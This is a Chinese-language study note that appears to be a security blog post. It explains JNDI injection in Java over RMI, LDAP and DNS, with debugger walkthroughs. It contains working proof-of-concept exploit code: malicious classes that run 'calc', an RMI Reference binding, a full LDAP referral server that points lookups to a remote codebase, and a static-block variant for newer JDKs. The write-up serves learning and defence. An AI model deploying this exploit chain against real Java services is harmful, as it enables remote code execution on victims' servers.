# 前言
前面为了补充我本身的 Java 知识栈的缺陷已经已经将这一块放了很久了,最近也是勉强补充了一些,这篇准备将 JNDI 注入的部分学习一下,早该结束的,但是期间去参加了一场比赛和一场攻防对抗而耽搁了。本篇中所涉及的代码都在 https://github.com/clown-q/Clown_java 中有记录
# JNDI
还是先简单记录一下什么是 JNDI,全称是 Java Naming and Directory Interface 翻译过来就是 Java 命名和目录接口,简单来说就是可以通过这个接口来访问系统的命令服务和目录服务
这里简单的翻阅一下官方文档找到了这样两个定义
- 命名:任何计算系统的基本设施是命名服务 —— 名称与对象相关联和基于对象名称查找对象的方法
(简单来是就是用名字对应一个对象) - 目录:许多命名服务都通过目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联
目录服务 = 命名服务 + 包含属性的对象(简单来说就是通过一个名字对应一个 Java 对象)
有这样一张图,展示了使用 JNDI API 的 Java 应用程序访问其服务
JNDI 包含在 Java SE 平台中。要使用 JNDI,必须具有 JNDI 类和一个或多个服务提供程序。JDK 包括以下命名 / 目录服务的服务提供商:
- 轻量级目录访问协议 (LDAP)
- 通用对象请求代理体系结构 (CORBA) 通用对象服务 (COS) 名称服务
- Java 远程方法调用 (RMI) 注册表
- 域名服务 (DNS)
# JNDI 注入
JNDI 注入存在的主要原因其实是攻击者对于 lookup
方法的参数是可控的,攻击者可以通过这个方法将恶意的代码加载到目标服务端的 JVM 中,从而造成危害,看下面这个示例
public class JNDIExample { | |
public static void main(String[] args) throws NamingException { | |
// 初始化上下文,获取一个初始的环境变量 | |
InitialContext context = new InitialContext(); | |
// 获取指定对象 | |
context.lookup("JNDIURL"); | |
} | |
} |
这里如果我们可以控制这个 JNDIURL,我们可以通过在服务器上挂载一个恶意类,然后加载到这个 JNDIExample 中,造成危害
# JNDI 的利用方式
# RMI 利用
# RMI 回顾
关于 RMI 的介绍可以看看我前面写的 RMI 浅记这篇,RMi 实际上就是一种远程对象来执行方法的一种方式,这里先简单回顾一下,首先定义一个能远程调用的接口,这个接口需要继承 Remote
public interface RMIRemote_Interface extends Remote { | |
public String test() throws IOException; | |
} |
然后实现这个接口的同时扩展 java.rmi.server.UnicastRemoteObject 类
public class RMIRemote extends UnicastRemoteObject implements RMIRemote_Interface { | |
protected RMIRemote() throws RemoteException { | |
super(); | |
} | |
@Override | |
public String test() throws IOException { | |
Runtime.getRuntime().exec("calc"); | |
return "连接成功"; | |
} | |
} |
然后写服务端,创建注册中心
public class Registry { | |
public static void main(String args[]) { | |
try { | |
LocateRegistry.createRegistry(1099); | |
Thread.sleep(10000); | |
System.out.println("Server Start"); | |
} catch (Exception e) { | |
e.printStackTrace(); | |
} | |
} | |
} |
创建远程对象,绑定
public class RMIServer { | |
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException { | |
// LocateRegistry.createRegistry (1099);// 创建注册中心 | |
RMIRemote rmiRemote = new RMIRemote();// 创建远程对象 | |
Naming.bind("test",rmiRemote);// 绑定远程对象 | |
} | |
} |
到这里一个 RMI 的服务端就可以使用了,接下来客户端
public class RMiClient { | |
public static void main(String[] args) throws IOException, NotBoundException { | |
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);// 获取注册表 | |
RMIRemote_Interface test = (RMIRemote_Interface) registry.lookup("test");// 通过 test 在注册表中寻找远程对象 | |
System.out.println(Arrays.toString(registry.list())); | |
System.out.println(test.test());// 调用 test 方法 | |
} | |
} |
以上就是一个简单的 RMI
# 利用
先看下面这个例子
public class JNDIRMIClinet { | |
public static void main(String[] args) throws NamingException, IOException { | |
InitialContext context = new InitialContext();// 初始化上下文 | |
RMIRemote_Interface test = (RMIRemote_Interface) context.lookup("rmi://127.0.0.1:1099/test"); | |
System.out.println(test.test()); | |
} | |
} |
这里服务端还是前面的 RMI 服务,注意这里的 lookup 需要完整的 RMI 地址
这个代码实际上就是从 JNDI 的层面来看,先初始化上下文然后通过 lookup 获取指定对象,所以就是如果这个参数可控我们可以通过在服务端挂载一个恶意类来造成危害,这里在 lookup 下一个断点简单调试一下
这里调用到 InitialContext 的 lookup 方法
这里会根据传入的协议不同调用不同的 Context 来处理
然后调用 GenericURLContext 的 lookup 方法
到 RegistryContext 的 lookup 方法
最后这里调用的是 RegistryImpl_Stub 的 lookup 方法,实际上就是 RMI 的 lookup
再看下面这个例子
public class JNDIRMIServer { | |
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException { | |
// Registry registry = LocateRegistry.createRegistry (1099);// 创建正常中心 | |
Reference reference = new Reference("T", "T", "http://127.0.0.1:8080/");// 引用,三个参数分别是类名,Factory 和 factory 的位置 | |
//factory 中的代码逻辑会在调用 Reference 的时候调用 | |
//reference 指定了一个 Calculator 类,于远程的 http://127.0.0.1:8081/ 服务端上,等待客户端的调用并实例化执行 | |
registry.bind("test",new ReferenceWrapper (reference)); | |
} | |
} |
这里不在使用远程对象,这里绑定一个引用
public class T { | |
public T() throws Exception { | |
Runtime.getRuntime().exec("calc"); | |
} | |
} |
这里编译一下这个文件然后使用 python 在该目录开启一个 http 服务
public class JNDIRMIClinet { | |
public static void main(String[] args) throws NamingException, IOException { | |
InitialContext context = new InitialContext(); | |
//InitialContext 类用于读取 JNDI 的一些配置信息,内含对象和其在 JNDI 中的注册名称的映射信息 | |
context.lookup("rmi://127.0.0.1:1099/test"); | |
} | |
} |
这里可以看到,它就执行了写到 T.java 上面的恶意代码,实际上漏洞点只是想上面两个例子中一样实例化 InitialContext 后调用了 looup
# 调试分析
断点还是下载 lookup 方法
这里跟进
继续跟进
到这里和前面的流程是一样的
这里实际上对应的是 JNDIRMIServer 中传入的
所以这里最后返回的会进行一次 decode,这里继续跟进
这里进行一个判断后获取 Reference 的参数信息
然后回调用 NamingManager.getObjectInstance 方法
然后就到了一个公共的类中,命令执行的部分是与 RMI 无关的
一路 F8 到这个地方,这个方法从引用中获取对象工厂
跟进到这个方法,try 中使用 classloader 进行一个类加载
这里跟进实际上是使用了 AppClassLoadwe 进行加载
这里没有加载到然后到后面 codebase
这里的 codebase 就是 factory 地址,它会用这个 codebase 来进行 loadclass
这里新建一个 URLClassload,然后调用 loadclass
最后实例化,这里就算是结束了
# DNS 利用
这个的利用很简单,实际上在前面用 python 开启服务看日志就会知道,它会访问这个链接
这个和 URLDNS 一样,是为了验证这个漏洞的存在
# LDAP 利用
https://repo.maven.apache.org/maven2/com/unboundid/unboundid-ldapsdk/3.2.0/unboundid-ldapsdk-3.2.0.jar
将上面这个包下载后放进目录中
然后将依赖添加上,然后用的网上师傅的代码
package JNDI.JNDI_LDAP; | |
import java.net.InetAddress; | |
import java.net.MalformedURLException; | |
import java.net.URL; | |
import javax.net.ServerSocketFactory; | |
import javax.net.SocketFactory; | |
import javax.net.ssl.SSLSocketFactory; | |
import com.unboundid.ldap.listener.InMemoryDirectoryServer; | |
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; | |
import com.unboundid.ldap.listener.InMemoryListenerConfig; | |
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; | |
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; | |
import com.unboundid.ldap.sdk.Entry; | |
import com.unboundid.ldap.sdk.LDAPException; | |
import com.unboundid.ldap.sdk.LDAPResult; | |
import com.unboundid.ldap.sdk.ResultCode; | |
/** | |
* @BelongsProject: study_java | |
* @BelongsPackage: JNDI.JNDI_LDAP | |
* @Author: Clown | |
* @CreateTime: 2023-09-23 17:33 | |
*/ | |
public class JNDILDAPServer { | |
private static final String LDAP_BASE = "dc=example,dc=com"; | |
public static void main (String[] args) { | |
String url = "http://127.0.0.1:8081/#T"; | |
int port = 1234; | |
try { | |
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); | |
config.setListenerConfigs(new InMemoryListenerConfig( | |
"listen", | |
InetAddress.getByName("0.0.0.0"), | |
port, | |
ServerSocketFactory.getDefault(), | |
SocketFactory.getDefault(), | |
(SSLSocketFactory) SSLSocketFactory.getDefault())); | |
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); | |
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); | |
System.out.println("Listening on 0.0.0.0:" + port); | |
ds.startListening(); | |
} | |
catch ( Exception e ) { | |
e.printStackTrace(); | |
} | |
} | |
private static class OperationInterceptor extends InMemoryOperationInterceptor { | |
private URL codebase; | |
/** | |
* | |
*/ | |
public OperationInterceptor ( URL cb ) { | |
this.codebase = cb; | |
} | |
/** | |
* {@inheritDoc} | |
* | |
* @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) | |
*/ | |
@Override | |
public void processSearchResult ( InMemoryInterceptedSearchResult result ) { | |
String base = result.getRequest().getBaseDN(); | |
Entry e = new Entry(base); | |
try { | |
sendResult(result, base, e); | |
} | |
catch ( Exception e1 ) { | |
e1.printStackTrace(); | |
} | |
} | |
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { | |
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); | |
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); | |
e.addAttribute("javaClassName", "Exploit"); | |
String cbstring = this.codebase.toString(); | |
int refPos = cbstring.indexOf('#'); | |
if ( refPos > 0 ) { | |
cbstring = cbstring.substring(0, refPos); | |
} | |
e.addAttribute("javaCodeBase", cbstring); | |
e.addAttribute("objectClass", "javaNamingReference"); | |
e.addAttribute("javaFactory", this.codebase.getRef()); | |
result.sendSearchEntry(e); | |
result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); | |
} | |
} | |
} |
客户端
public class JNDILDAPClinet { | |
public static void main(String[] args) throws NamingException, IOException { | |
InitialContext context = new InitialContext(); | |
context.lookup("ldap://127.0.0.1:1234/T"); | |
} | |
} |
# 调试分析
还是在 lookup 方法这里下断点,然后到
这里还是到 initialContext 的 lookup 方法
这里一路跟着 lookup
然后到 Ldap 的 c_lookup 方法
这里一路 F8 到 decodeObject 方法
他对 LDAP 服务器上面的属性进行解析,这里跟进
这里会根据取到的值来决定调用方法,因为我们是引用,所以会调用 decodeReference 这个方法
这里就把 LDAP 属性解出来了
然后这里会调用 getObjectInstance 方法,然后就和 RMI 的一样了
这里跟进
可以看到这里也是 AppClassloader 没加载到
然后通过 codebase 来加载,后面的就不在写了,和前面 RMI 一样
# 高版本绕过
前面的 RMi 利用版本到 jdk8_121 后面的就已经修复了,ldap 在 jdk8_191 之后也不能利用了,这里还是在 lookup 下一个断点,然后调试到上面类加载的地方
这里跟进看一下
这里做了一个判断,如果 trustURLCodebase 的值为 true 就让其实例化
这里直接跳过了,很显然这里他的值为 false,所以这里就直接 return null 了
很简单,将而已代码写到静态代码块即可
public class T { | |
static { | |
try { | |
Runtime.getRuntime().exec("calc"); | |
} catch (IOException e) { | |
throw new RuntimeException(e); | |
} | |
} | |
} |
参考文章:
JNDI 注入原理及利用考究 - 先知社区 (aliyun.com)
https://su18.org/post/rmi-attack/